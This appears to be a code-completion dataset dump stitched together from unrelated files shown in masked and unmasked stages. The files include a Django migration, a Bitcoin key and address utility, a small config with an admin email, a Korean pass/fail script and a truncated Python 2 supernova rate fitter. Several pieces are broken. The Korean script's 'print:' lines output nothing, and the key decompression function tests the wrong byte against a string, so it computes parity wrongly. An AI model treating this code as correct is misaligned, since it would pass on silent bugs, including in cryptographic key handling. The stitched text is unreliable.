"step-2": "<mask token>\n\n\nclass Migration(migrations.Migration):\n <mask token>\n <mask token>\n",
"step-3": "<mask token>\n\n\nclass Migration(migrations.Migration):\n dependencies = [('registered_user', '0005_auto_20201029_1710')]\n operations = [migrations.AlterField(model_name='user_details', name=\n 'dateofbirth', field=models.DateField(null=True))]\n",
"step-4": "from django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n dependencies = [('registered_user', '0005_auto_20201029_1710')]\n operations = [migrations.AlterField(model_name='user_details', name=\n 'dateofbirth', field=models.DateField(null=True))]\n",
"step-5": "# Generated by Django 3.1.1 on 2020-10-29 13:56\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('registered_user', '0005_auto_20201029_1710'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='user_details',\n name='dateofbirth',\n field=models.DateField(null=True),\n ),\n ]\n",
"step-ids": [
0,
1,
2,
3,
4
]
}
|
[
0,
1,
2,
3,
4
] |
#!/usr/bin/env python
# coding: utf-8
#%%:
import secrets
import hashlib
import base64
import ecdsa
from sys import byteorder
#%%:
class k_box:
def __init__(self, string = 0, file = 0):
if string != 0:
if not(len(string) == 64):
raise Exception("Bad len")
self.__priv_key = bytes.fromhex(string)
else:
self.__priv_key = secrets.randbits(256).to_bytes(32,byteorder=byteorder)
self.__pub_key = ecdsa.SigningKey.from_string(self.__priv_key, curve=ecdsa.SECP256k1).verifying_key.to_string()
def get_secret_key(self):
return self.__priv_key
def get_public_key(self)->bytearray:
return (0x04.to_bytes(1,byteorder=byteorder) + self.__pub_key)
def get_public_key_compresed(self) -> bytearray:
return (b'\x03' if self.__pub_key[-1] % 2 else b'\x02') + self.__pub_key[0:32]
def get_address(self) -> str:
e_pub = self.get_encrypted_pub_key()
main_net_key = 0x00.to_bytes(1,byteorder=byteorder) + e_pub
check_sum = hashlib.sha256(hashlib.sha256(main_net_key).digest()).digest()[:4]
hex_addr = main_net_key + check_sum
return base58_encode(hex_addr)
def get_encrypted_pub_key(self):
sha = hashlib.sha256(self.get_public_key_compresed()).digest()
result = hashlib.new(name='ripemd160', data=sha).digest()
return result
def sign(self, message:bytes = 0) -> bytearray:
sk = ecdsa.SigningKey.from_string(self.__priv_key, curve=ecdsa.SECP256k1 )
return sk.sign(message)
def verify(self, signature, message):
vk = ecdsa.VerifyingKey.from_string(self.__pub_key, curve=ecdsa.SECP256k1)
return vk.verify(signature, message.encode())
#%%:
def covert_to_address(pub_key:bytes) -> str:
sha = hashlib.sha256(pub_key).digest()
pub_key = hashlib.new(name='ripemd160', data=sha).digest()
main_net_key = 0x00.to_bytes(1,byteorder=byteorder) + pub_key
check_sum = hashlib.sha256(hashlib.sha256(main_net_key).digest()).digest()[:4]
hex_addr = main_net_key + check_sum
return base58_encode(hex_addr)
#%%:
def base58_encode(n:bytearray)->str:
alphabet = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'
b58_string = ""
leading_zeros = len(n.hex()) - len(n.hex().lstrip('0')) # ! refactor counting zeros
address_int = int.from_bytes(n,byteorder="big")
while address_int > 0:
digit = address_int % 58
digit_char = alphabet[digit]
b58_string = digit_char + b58_string
address_int //= 58
ones = leading_zeros // 2
for one in range(ones):
b58_string = '1' + b58_string
return b58_string
def base58_decode(s):
"""Decode a base58-encoding string, returning bytes"""
if not s:
return b''
alphabet = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'
# Convert the string to an integer
n = 0
for c in s:
n *= 58
if c not in alphabet:
raise Exception('Character %r is not a valid base58 character' % c)
digit = alphabet.index(c)
n += digit
# Convert the integer to bytes
h = '%x' % n
if len(h) % 2:
h = '0' + h
# res = ""
res = bytearray.fromhex(h)
# Add padding back.
pad = 0
for c in s[:-1]:
if c == alphabet[0]: pad += 1
else: break
return b'\x00' * pad + res
# def base58_decode(s:str, len):
# alphabet = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'
# result = 0
# for c in s:
# result = result * 58 + alphabet.index(c)
# return bytearray.fromhex(f"{result:0x}".rjust(len * 2, '0'))
# %%:
def to_WIF(key:str):
if not(len(key) == 64):
raise Exception("Bad key len")
key = "80" + key
key_b = bytes.fromhex(key)
sha_key1 = hashlib.sha256(hashlib.sha256(key_b).digest()).digest()
key_b = key_b + sha_key1[0:4]
return base58_encode(key_b)
def f_import_private(filename):
file = open(filename, 'r')
wif_key = file.read()
file.close()
key = from_WIF(wif_key)
key_pair = k_box(string=key.hex())
return key_pair
#%%:
def from_WIF(wif_key):
if not(len(wif_key) == 51):
raise Exception("Bad len of WIF key")
key = base58_decode(wif_key)
checksum = key[-4:]
key = key[1:33]
if hashlib.sha256(hashlib.sha256(0x80.to_bytes(1,"big") + key).digest()).digest()[0:4] != checksum:
raise Exception("Bad checksum")
return key
#%%:
def uncompress_key(comp_key: bytearray):
x = int.from_bytes(comp_key[1:], byteorder='big')
is_even = True if comp_key[1] == '2' else False
""" Derive y point from x point """
curve = ecdsa.SECP256k1.curve
# The curve equation over F_p is:
# y^2 = x^3 + ax + b
a, b, p = curve.a(), curve.b(), curve.p()
alpha = (pow(x, 3, p) + a * x + b) % p
beta = ecdsa.numbertheory.square_root_mod_prime(alpha, p)
if (beta % 2) == is_even:
beta = p - beta
return bytearray.fromhex( f"04{x:064x}{beta:064x}")
|
normal
|
{
"blob_id": "1ff2f06349ab1906a1649bdb83828fbdb3cf584f",
"index": 4516,
"step-1": "<mask token>\n\n\nclass k_box:\n\n def __init__(self, string=0, file=0):\n if string != 0:\n if not len(string) == 64:\n raise Exception('Bad len')\n self.__priv_key = bytes.fromhex(string)\n else:\n self.__priv_key = secrets.randbits(256).to_bytes(32, byteorder=\n byteorder)\n self.__pub_key = ecdsa.SigningKey.from_string(self.__priv_key,\n curve=ecdsa.SECP256k1).verifying_key.to_string()\n\n def get_secret_key(self):\n return self.__priv_key\n\n def get_public_key(self) ->bytearray:\n return (4).to_bytes(1, byteorder=byteorder) + self.__pub_key\n\n def get_public_key_compresed(self) ->bytearray:\n return (b'\\x03' if self.__pub_key[-1] % 2 else b'\\x02'\n ) + self.__pub_key[0:32]\n\n def get_address(self) ->str:\n e_pub = self.get_encrypted_pub_key()\n main_net_key = (0).to_bytes(1, byteorder=byteorder) + e_pub\n check_sum = hashlib.sha256(hashlib.sha256(main_net_key).digest()\n ).digest()[:4]\n hex_addr = main_net_key + check_sum\n return base58_encode(hex_addr)\n\n def get_encrypted_pub_key(self):\n sha = hashlib.sha256(self.get_public_key_compresed()).digest()\n result = hashlib.new(name='ripemd160', data=sha).digest()\n return result\n\n def sign(self, message: bytes=0) ->bytearray:\n sk = ecdsa.SigningKey.from_string(self.__priv_key, curve=ecdsa.\n SECP256k1)\n return sk.sign(message)\n\n def verify(self, signature, message):\n vk = ecdsa.VerifyingKey.from_string(self.__pub_key, curve=ecdsa.\n SECP256k1)\n return vk.verify(signature, message.encode())\n\n\n<mask token>\n",
"step-2": "<mask token>\n\n\nclass k_box:\n\n def __init__(self, string=0, file=0):\n if string != 0:\n if not len(string) == 64:\n raise Exception('Bad len')\n self.__priv_key = bytes.fromhex(string)\n else:\n self.__priv_key = secrets.randbits(256).to_bytes(32, byteorder=\n byteorder)\n self.__pub_key = ecdsa.SigningKey.from_string(self.__priv_key,\n curve=ecdsa.SECP256k1).verifying_key.to_string()\n\n def get_secret_key(self):\n return self.__priv_key\n\n def get_public_key(self) ->bytearray:\n return (4).to_bytes(1, byteorder=byteorder) + self.__pub_key\n\n def get_public_key_compresed(self) ->bytearray:\n return (b'\\x03' if self.__pub_key[-1] % 2 else b'\\x02'\n ) + self.__pub_key[0:32]\n\n def get_address(self) ->str:\n e_pub = self.get_encrypted_pub_key()\n main_net_key = (0).to_bytes(1, byteorder=byteorder) + e_pub\n check_sum = hashlib.sha256(hashlib.sha256(main_net_key).digest()\n ).digest()[:4]\n hex_addr = main_net_key + check_sum\n return base58_encode(hex_addr)\n\n def get_encrypted_pub_key(self):\n sha = hashlib.sha256(self.get_public_key_compresed()).digest()\n result = hashlib.new(name='ripemd160', data=sha).digest()\n return result\n\n def sign(self, message: bytes=0) ->bytearray:\n sk = ecdsa.SigningKey.from_string(self.__priv_key, curve=ecdsa.\n SECP256k1)\n return sk.sign(message)\n\n def verify(self, signature, message):\n vk = ecdsa.VerifyingKey.from_string(self.__pub_key, curve=ecdsa.\n SECP256k1)\n return vk.verify(signature, message.encode())\n\n\n<mask token>\n\n\ndef base58_decode(s):\n \"\"\"Decode a base58-encoding string, returning bytes\"\"\"\n if not s:\n return b''\n alphabet = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'\n n = 0\n for c in s:\n n *= 58\n if c not in alphabet:\n raise Exception('Character %r is not a valid base58 character' % c)\n digit = alphabet.index(c)\n n += digit\n h = '%x' % n\n if len(h) % 2:\n h = '0' + h\n res = bytearray.fromhex(h)\n pad = 0\n for c in s[:-1]:\n if c == alphabet[0]:\n pad += 1\n else:\n break\n return b'\\x00' * pad + res\n\n\ndef to_WIF(key: str):\n if not len(key) == 64:\n raise Exception('Bad key len')\n key = '80' + key\n key_b = bytes.fromhex(key)\n sha_key1 = hashlib.sha256(hashlib.sha256(key_b).digest()).digest()\n key_b = key_b + sha_key1[0:4]\n return base58_encode(key_b)\n\n\n<mask token>\n\n\ndef from_WIF(wif_key):\n if not len(wif_key) == 51:\n raise Exception('Bad len of WIF key')\n key = base58_decode(wif_key)\n checksum = key[-4:]\n key = key[1:33]\n if hashlib.sha256(hashlib.sha256((128).to_bytes(1, 'big') + key).digest()\n ).digest()[0:4] != checksum:\n raise Exception('Bad checksum')\n return key\n\n\n<mask token>\n",
"step-3": "<mask token>\n\n\nclass k_box:\n\n def __init__(self, string=0, file=0):\n if string != 0:\n if not len(string) == 64:\n raise Exception('Bad len')\n self.__priv_key = bytes.fromhex(string)\n else:\n self.__priv_key = secrets.randbits(256).to_bytes(32, byteorder=\n byteorder)\n self.__pub_key = ecdsa.SigningKey.from_string(self.__priv_key,\n curve=ecdsa.SECP256k1).verifying_key.to_string()\n\n def get_secret_key(self):\n return self.__priv_key\n\n def get_public_key(self) ->bytearray:\n return (4).to_bytes(1, byteorder=byteorder) + self.__pub_key\n\n def get_public_key_compresed(self) ->bytearray:\n return (b'\\x03' if self.__pub_key[-1] % 2 else b'\\x02'\n ) + self.__pub_key[0:32]\n\n def get_address(self) ->str:\n e_pub = self.get_encrypted_pub_key()\n main_net_key = (0).to_bytes(1, byteorder=byteorder) + e_pub\n check_sum = hashlib.sha256(hashlib.sha256(main_net_key).digest()\n ).digest()[:4]\n hex_addr = main_net_key + check_sum\n return base58_encode(hex_addr)\n\n def get_encrypted_pub_key(self):\n sha = hashlib.sha256(self.get_public_key_compresed()).digest()\n result = hashlib.new(name='ripemd160', data=sha).digest()\n return result\n\n def sign(self, message: bytes=0) ->bytearray:\n sk = ecdsa.SigningKey.from_string(self.__priv_key, curve=ecdsa.\n SECP256k1)\n return sk.sign(message)\n\n def verify(self, signature, message):\n vk = ecdsa.VerifyingKey.from_string(self.__pub_key, curve=ecdsa.\n SECP256k1)\n return vk.verify(signature, message.encode())\n\n\ndef covert_to_address(pub_key: bytes) ->str:\n sha = hashlib.sha256(pub_key).digest()\n pub_key = hashlib.new(name='ripemd160', data=sha).digest()\n main_net_key = (0).to_bytes(1, byteorder=byteorder) + pub_key\n check_sum = hashlib.sha256(hashlib.sha256(main_net_key).digest()).digest()[\n :4]\n hex_addr = main_net_key + check_sum\n return base58_encode(hex_addr)\n\n\ndef base58_encode(n: bytearray) ->str:\n alphabet = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'\n b58_string = ''\n leading_zeros = len(n.hex()) - len(n.hex().lstrip('0'))\n address_int = int.from_bytes(n, byteorder='big')\n while address_int > 0:\n digit = address_int % 58\n digit_char = alphabet[digit]\n b58_string = digit_char + b58_string\n address_int //= 58\n ones = leading_zeros // 2\n for one in range(ones):\n b58_string = '1' + b58_string\n return b58_string\n\n\ndef base58_decode(s):\n \"\"\"Decode a base58-encoding string, returning bytes\"\"\"\n if not s:\n return b''\n alphabet = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'\n n = 0\n for c in s:\n n *= 58\n if c not in alphabet:\n raise Exception('Character %r is not a valid base58 character' % c)\n digit = alphabet.index(c)\n n += digit\n h = '%x' % n\n if len(h) % 2:\n h = '0' + h\n res = bytearray.fromhex(h)\n pad = 0\n for c in s[:-1]:\n if c == alphabet[0]:\n pad += 1\n else:\n break\n return b'\\x00' * pad + res\n\n\ndef to_WIF(key: str):\n if not len(key) == 64:\n raise Exception('Bad key len')\n key = '80' + key\n key_b = bytes.fromhex(key)\n sha_key1 = hashlib.sha256(hashlib.sha256(key_b).digest()).digest()\n key_b = key_b + sha_key1[0:4]\n return base58_encode(key_b)\n\n\n<mask token>\n\n\ndef from_WIF(wif_key):\n if not len(wif_key) == 51:\n raise Exception('Bad len of WIF key')\n key = base58_decode(wif_key)\n checksum = key[-4:]\n key = key[1:33]\n if hashlib.sha256(hashlib.sha256((128).to_bytes(1, 'big') + key).digest()\n ).digest()[0:4] != checksum:\n raise Exception('Bad checksum')\n return key\n\n\n<mask token>\n",
"step-4": "<mask token>\n\n\nclass k_box:\n\n def __init__(self, string=0, file=0):\n if string != 0:\n if not len(string) == 64:\n raise Exception('Bad len')\n self.__priv_key = bytes.fromhex(string)\n else:\n self.__priv_key = secrets.randbits(256).to_bytes(32, byteorder=\n byteorder)\n self.__pub_key = ecdsa.SigningKey.from_string(self.__priv_key,\n curve=ecdsa.SECP256k1).verifying_key.to_string()\n\n def get_secret_key(self):\n return self.__priv_key\n\n def get_public_key(self) ->bytearray:\n return (4).to_bytes(1, byteorder=byteorder) + self.__pub_key\n\n def get_public_key_compresed(self) ->bytearray:\n return (b'\\x03' if self.__pub_key[-1] % 2 else b'\\x02'\n ) + self.__pub_key[0:32]\n\n def get_address(self) ->str:\n e_pub = self.get_encrypted_pub_key()\n main_net_key = (0).to_bytes(1, byteorder=byteorder) + e_pub\n check_sum = hashlib.sha256(hashlib.sha256(main_net_key).digest()\n ).digest()[:4]\n hex_addr = main_net_key + check_sum\n return base58_encode(hex_addr)\n\n def get_encrypted_pub_key(self):\n sha = hashlib.sha256(self.get_public_key_compresed()).digest()\n result = hashlib.new(name='ripemd160', data=sha).digest()\n return result\n\n def sign(self, message: bytes=0) ->bytearray:\n sk = ecdsa.SigningKey.from_string(self.__priv_key, curve=ecdsa.\n SECP256k1)\n return sk.sign(message)\n\n def verify(self, signature, message):\n vk = ecdsa.VerifyingKey.from_string(self.__pub_key, curve=ecdsa.\n SECP256k1)\n return vk.verify(signature, message.encode())\n\n\ndef covert_to_address(pub_key: bytes) ->str:\n sha = hashlib.sha256(pub_key).digest()\n pub_key = hashlib.new(name='ripemd160', data=sha).digest()\n main_net_key = (0).to_bytes(1, byteorder=byteorder) + pub_key\n check_sum = hashlib.sha256(hashlib.sha256(main_net_key).digest()).digest()[\n :4]\n hex_addr = main_net_key + check_sum\n return base58_encode(hex_addr)\n\n\ndef base58_encode(n: bytearray) ->str:\n alphabet = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'\n b58_string = ''\n leading_zeros = len(n.hex()) - len(n.hex().lstrip('0'))\n address_int = int.from_bytes(n, byteorder='big')\n while address_int > 0:\n digit = address_int % 58\n digit_char = alphabet[digit]\n b58_string = digit_char + b58_string\n address_int //= 58\n ones = leading_zeros // 2\n for one in range(ones):\n b58_string = '1' + b58_string\n return b58_string\n\n\ndef base58_decode(s):\n \"\"\"Decode a base58-encoding string, returning bytes\"\"\"\n if not s:\n return b''\n alphabet = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'\n n = 0\n for c in s:\n n *= 58\n if c not in alphabet:\n raise Exception('Character %r is not a valid base58 character' % c)\n digit = alphabet.index(c)\n n += digit\n h = '%x' % n\n if len(h) % 2:\n h = '0' + h\n res = bytearray.fromhex(h)\n pad = 0\n for c in s[:-1]:\n if c == alphabet[0]:\n pad += 1\n else:\n break\n return b'\\x00' * pad + res\n\n\ndef to_WIF(key: str):\n if not len(key) == 64:\n raise Exception('Bad key len')\n key = '80' + key\n key_b = bytes.fromhex(key)\n sha_key1 = hashlib.sha256(hashlib.sha256(key_b).digest()).digest()\n key_b = key_b + sha_key1[0:4]\n return base58_encode(key_b)\n\n\ndef f_import_private(filename):\n file = open(filename, 'r')\n wif_key = file.read()\n file.close()\n key = from_WIF(wif_key)\n key_pair = k_box(string=key.hex())\n return key_pair\n\n\ndef from_WIF(wif_key):\n if not len(wif_key) == 51:\n raise Exception('Bad len of WIF key')\n key = base58_decode(wif_key)\n checksum = key[-4:]\n key = key[1:33]\n if hashlib.sha256(hashlib.sha256((128).to_bytes(1, 'big') + key).digest()\n ).digest()[0:4] != checksum:\n raise Exception('Bad checksum')\n return key\n\n\ndef uncompress_key(comp_key: bytearray):\n x = int.from_bytes(comp_key[1:], byteorder='big')\n is_even = True if comp_key[1] == '2' else False\n \"\"\" Derive y point from x point \"\"\"\n curve = ecdsa.SECP256k1.curve\n a, b, p = curve.a(), curve.b(), curve.p()\n alpha = (pow(x, 3, p) + a * x + b) % p\n beta = ecdsa.numbertheory.square_root_mod_prime(alpha, p)\n if beta % 2 == is_even:\n beta = p - beta\n return bytearray.fromhex(f'04{x:064x}{beta:064x}')\n",
"step-5": "#!/usr/bin/env python\n# coding: utf-8\n\n#%%:\nimport secrets\nimport hashlib\nimport base64\nimport ecdsa\nfrom sys import byteorder\n\n\n#%%:\nclass k_box:\n def __init__(self, string = 0, file = 0):\n if string != 0:\n if not(len(string) == 64):\n raise Exception(\"Bad len\")\n self.__priv_key = bytes.fromhex(string)\n else:\n self.__priv_key = secrets.randbits(256).to_bytes(32,byteorder=byteorder)\n self.__pub_key = ecdsa.SigningKey.from_string(self.__priv_key, curve=ecdsa.SECP256k1).verifying_key.to_string()\n\n \n def get_secret_key(self):\n return self.__priv_key\n\n \n def get_public_key(self)->bytearray:\n return (0x04.to_bytes(1,byteorder=byteorder) + self.__pub_key)\n\n\n def get_public_key_compresed(self) -> bytearray:\n return (b'\\x03' if self.__pub_key[-1] % 2 else b'\\x02') + self.__pub_key[0:32]\n \n \n def get_address(self) -> str:\n e_pub = self.get_encrypted_pub_key()\n main_net_key = 0x00.to_bytes(1,byteorder=byteorder) + e_pub\n check_sum = hashlib.sha256(hashlib.sha256(main_net_key).digest()).digest()[:4]\n hex_addr = main_net_key + check_sum\n return base58_encode(hex_addr)\n\n def get_encrypted_pub_key(self):\n sha = hashlib.sha256(self.get_public_key_compresed()).digest()\n result = hashlib.new(name='ripemd160', data=sha).digest() \n return result\n \n \n def sign(self, message:bytes = 0) -> bytearray:\n sk = ecdsa.SigningKey.from_string(self.__priv_key, curve=ecdsa.SECP256k1 )\n return sk.sign(message)\n\n \n def verify(self, signature, message):\n vk = ecdsa.VerifyingKey.from_string(self.__pub_key, curve=ecdsa.SECP256k1)\n return vk.verify(signature, message.encode()) \n \n\n\n#%%:\ndef covert_to_address(pub_key:bytes) -> str:\n sha = hashlib.sha256(pub_key).digest()\n pub_key = hashlib.new(name='ripemd160', data=sha).digest() \n main_net_key = 0x00.to_bytes(1,byteorder=byteorder) + pub_key\n check_sum = hashlib.sha256(hashlib.sha256(main_net_key).digest()).digest()[:4]\n hex_addr = main_net_key + check_sum\n return base58_encode(hex_addr)\n\n\n#%%:\ndef base58_encode(n:bytearray)->str:\n alphabet = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'\n b58_string = \"\"\n leading_zeros = len(n.hex()) - len(n.hex().lstrip('0')) # ! refactor counting zeros\n address_int = int.from_bytes(n,byteorder=\"big\")\n while address_int > 0:\n digit = address_int % 58\n digit_char = alphabet[digit]\n b58_string = digit_char + b58_string\n address_int //= 58\n ones = leading_zeros // 2\n for one in range(ones):\n b58_string = '1' + b58_string\n return b58_string\n\ndef base58_decode(s):\n \"\"\"Decode a base58-encoding string, returning bytes\"\"\"\n if not s:\n return b''\n alphabet = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'\n # Convert the string to an integer\n n = 0\n for c in s:\n n *= 58\n if c not in alphabet:\n raise Exception('Character %r is not a valid base58 character' % c)\n digit = alphabet.index(c)\n n += digit\n\n # Convert the integer to bytes\n h = '%x' % n\n if len(h) % 2:\n h = '0' + h\n # res = \"\"\n res = bytearray.fromhex(h)\n\n # Add padding back.\n pad = 0\n for c in s[:-1]:\n if c == alphabet[0]: pad += 1\n else: break\n return b'\\x00' * pad + res\n\n\n\n# def base58_decode(s:str, len):\n# alphabet = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'\n# result = 0\n# for c in s:\n# result = result * 58 + alphabet.index(c)\n# return bytearray.fromhex(f\"{result:0x}\".rjust(len * 2, '0'))\n\n# %%:\ndef to_WIF(key:str):\n if not(len(key) == 64):\n raise Exception(\"Bad key len\")\n key = \"80\" + key\n key_b = bytes.fromhex(key)\n sha_key1 = hashlib.sha256(hashlib.sha256(key_b).digest()).digest()\n key_b = key_b + sha_key1[0:4]\n return base58_encode(key_b)\n\n\ndef f_import_private(filename):\n file = open(filename, 'r')\n wif_key = file.read()\n file.close()\n key = from_WIF(wif_key)\n key_pair = k_box(string=key.hex())\n return key_pair\n\n\n#%%:\ndef from_WIF(wif_key):\n if not(len(wif_key) == 51):\n raise Exception(\"Bad len of WIF key\")\n key = base58_decode(wif_key)\n checksum = key[-4:]\n key = key[1:33]\n if hashlib.sha256(hashlib.sha256(0x80.to_bytes(1,\"big\") + key).digest()).digest()[0:4] != checksum:\n raise Exception(\"Bad checksum\")\n return key\n\n#%%:\n\ndef uncompress_key(comp_key: bytearray):\n x = int.from_bytes(comp_key[1:], byteorder='big')\n is_even = True if comp_key[1] == '2' else False\n \"\"\" Derive y point from x point \"\"\"\n curve = ecdsa.SECP256k1.curve\n # The curve equation over F_p is:\n # y^2 = x^3 + ax + b\n a, b, p = curve.a(), curve.b(), curve.p()\n alpha = (pow(x, 3, p) + a * x + b) % p\n beta = ecdsa.numbertheory.square_root_mod_prime(alpha, p)\n if (beta % 2) == is_even:\n beta = p - beta\n return bytearray.fromhex( f\"04{x:064x}{beta:064x}\")",
"step-ids": [
9,
12,
14,
16,
18
]
}
|
[
9,
12,
14,
16,
18
] |
from .isearch import ISearcher
__all__ = ['ISearcher']
|
normal
|
{
"blob_id": "13e2f474294edb7c78bd81456097d1389e6a0f1b",
"index": 5003,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n__all__ = ['ISearcher']\n",
"step-3": "from .isearch import ISearcher\n__all__ = ['ISearcher']\n",
"step-4": null,
"step-5": null,
"step-ids": [
0,
1,
2
]
}
|
[
0,
1,
2
] |
DEBUG = True
ADMINS = frozenset(["briandowe@gmail.com"])
|
normal
|
{
"blob_id": "68bade5767d4f418bcae07485a179df5e47e652c",
"index": 9066,
"step-1": "<mask token>\n",
"step-2": "DEBUG = True\nADMINS = frozenset(['briandowe@gmail.com'])\n",
"step-3": "DEBUG = True\nADMINS = frozenset([\"briandowe@gmail.com\"])",
"step-4": null,
"step-5": null,
"step-ids": [
0,
1,
2
]
}
|
[
0,
1,
2
] |
a = int(input('점수를 입력하세요'))
if a >= 70 :
print:('통과입니다.')
print:('축하합니다.')
else :
print:('불합격입니다.')
print("안녕")
|
normal
|
{
"blob_id": "f8d0cc9cb0e5f8adf9077ffb39dd6abedfedaa12",
"index": 5427,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nif a >= 70:\n print: '통과입니다.'\n print: '축하합니다.'\nelse:\n print: '불합격입니다.'\nprint('안녕')\n",
"step-3": "a = int(input('점수를 입력하세요'))\nif a >= 70:\n print: '통과입니다.'\n print: '축하합니다.'\nelse:\n print: '불합격입니다.'\nprint('안녕')\n",
"step-4": "a = int(input('점수를 입력하세요'))\r\nif a >= 70 :\r\n print:('통과입니다.')\r\n print:('축하합니다.')\r\nelse :\r\n print:('불합격입니다.')\r\nprint(\"안녕\")\r\n",
"step-5": null,
"step-ids": [
0,
1,
2,
3
]
}
|
[
0,
1,
2,
3
] |
#!/software/python-2.7-2014q3-el6-x86_64/bin/python
import SNANA_Reader as simread
import REAL_Reader as dataread
#import astropy.cosmology as cosmo
import traceback
import scipy
import scipy.stats as stats
import numpy as np
import matplotlib.pyplot as plt
plt.switch_backend('Agg')
#import Cosmology
import scipy.stats.mstats as mstats
import scipy.stats as stats
from scipy.interpolate import UnivariateSpline
from sys import argv
import glob
import time
import os
import gzip
import shutil
import numpy.ma as ma
import subprocess
import iminuit as iM
from iminuit import Minuit as M
from discreteChi2Func import discreteChi2Func as chi2func
import pandas as pd
class Rate_Fitter:
def __init__(self, realfilename, realName, simfilename, simName, simgenfilename, MCBeta, MCK, zminSamp=0.1, zmaxSamp=1.20 , zminFit = 0.1, zmaxFit = 1.20, simOmegaM=0.3, simOmegaL=0.7, simH0=70.0, simw=-1.0, simOb0=0.049, simSigma8=0.81, simNs=0.95, Rate_Model = 'powerlaw', cheatType = False, cheatZ = False, cheatCCSub = False, cheatCCScale = False, cuts = None, nprint = 5, MURESCuts = None, noCCMC = False, priorRate = None, priorZEff = None, ratePriorErrUp = None, ratePriorErrDown =None, ratePriorErrAll = None, fixCCScale = False):
print "Rate_Fitter"
print "np version {0}".format(np.__version__)
self.zminSamp = zminSamp
self.zmaxSamp = zmaxSamp
self.zminFit = zminFit
self.zmaxFit = zmaxFit
self.MCBeta = MCBeta
self.MCK = MCK
self.Rate_Model = Rate_Model
self.cheatType = cheatType
self.cheatZ = cheatZ
self.cheatCCSub = cheatCCSub
self.cheatCCScale = cheatCCScale
self.cuts = cuts
self.nprint = nprint
self.MURESCuts = MURESCuts
self.priorRate = priorRate
self.priorZEff = priorZEff
self.ratePriorErrUp = ratePriorErrUp
self.ratePriorErrDown = ratePriorErrDown
self.ratePriorErrAll = ratePriorErrAll
self.fixCCScale = fixCCScale
#print "PRIORS"
#print priorRate
#print priorZEff
#print ratePriorErrUp
#print ratePriorErrDown
if self.cheatZ:
self.ztype = 'SIM_ZCMB'
else:
#self.ztype = 'zHD'
self.ztype = 'zPHOT'
self.shiftFlagData = False
self.shiftFlagSim = False
self.globalChi2Storage = []
self.globalNDataStorage = []
'''
self.globalZPhotBinStorage = []
self.globalNDataIaPhotBinStorage = []
self.globalNDataCCPhotBinStorage = []
self.globalZTrueBinStorage = []
self.globalNDataIaTrueBinStorage = []
self.globalNDataCCTrueBinStorage = []
'''
print 'a'
try:
self.simcat = simread.SNANA_Cat(simfilename, simName, simOmegaM=0.3, simOmegaL=0.7, simH0=70.0, simw=-1.0, simOb0=0.049, simSigma8=0.81, simNs=0.95)
except:
try:
self.simcat = simread.SNANA_Cat(simfilename, simName, simOmegaM=0.3, simOmegaL=0.7, simH0=70.0, simw=-1.0, simOb0=0.049, simSigma8=0.81, simNs=0.95, skip_header = 5)
except:
self.simcat = simread.SNANA_Cat(simfilename, simName, simOmegaM=0.3, simOmegaL=0.7, simH0=70.0, simw=-1.0, simOb0=0.049, simSigma8=0.81, simNs=0.95, skip_header = 6)
print 'b'
self.simName = simName
self.simgencat = simread.SNANA_Cat(simfilename, simName, simOmegaM=0.3, simOmegaL=0.7, simH0=70.0, simw=-1.0, simOb0=0.049, simSigma8=0.81, simNs=0.95)
print 'c'
try:
#with np.load(simgenfilename+'.npz', allow_pickle = True) as data0:
# SIMGEN = data0['a']
SIMGEN = np.load(simgenfilename + '.npy', allow_pickle = True)
except:
SIMGEN = np.genfromtxt(simgenfilename, dtype=None, names = True, skip_footer=3, invalid_raise=False)
print "Compress save A"
SIMGEN.dtype.names = map(str, SIMGEN.dtype.names)
#np.savez_compressed(simgenfilename+'.npz', a = SIMGEN)
np.save(simgenfilename+'.npy', SIMGEN)
print "WHY DO YOU HATE ME WHEN I SHOW YOU NOTHING BUT LOVE"
print simgenfilename
#SIMGEN = pd.read_csv(simgenfilename, delim_whitespace=True, comment="#").to_records(index = False)
print 'd'
SIMGEN = SIMGEN[SIMGEN['GENZ'] != 'GENZ']
self.simgencat.params = {'flat':True, 'H0': simH0, 'Om0':simOmegaM, 'Ob0': simOb0, 'sigma8': simSigma8, 'ns': simNs}
#self.simgencat.cosmo = Cosmology.setCosmology('simCosmo', self.simcat.params)
self.simgencat.OrigCatalog = np.copy(SIMGEN)
self.simgencat.Catalog = np.copy(SIMGEN)
self.simgencat.Catalog = self.simgencat.Catalog[self.simgencat.Catalog['GENZ'] != 'GENZ']
self.simgencat.simname = simName
self.simgencat.NSN = self.simgencat.Catalog['GENZ'].shape[2]
print "SIMGEN NUMBER"
print self.simgencat.NSN
print "TEST2"
print self.simgencat.Catalog['GENZ'].shape[0]
print self.simgencat.Catalog['GENZ'].shape[1]
print self.simgencat.Catalog['GENZ'].shape[2]
print "SIMGENCAT FILE"
print simfilename
self.realName = realName
try:
print 'q'
self.realcat = simread.SNANA_Cat(realfilename, realName, simOmegaM=0.3, simOmegaL=0.7, simH0=70.0, simw=-1.0, simOb0=0.049, simSigma8=0.81, simNs=0.95, skip_header = 6)
except:
#self.realcat = simread.SNANA_Cat(realfilename, realName, simOmegaM=0.3, simOmegaL=0.7, simH0=70.0, simw=-1.0, simOb0=0.049, simSigma8=0.81, simNs=0.95)
try:
print 'r'
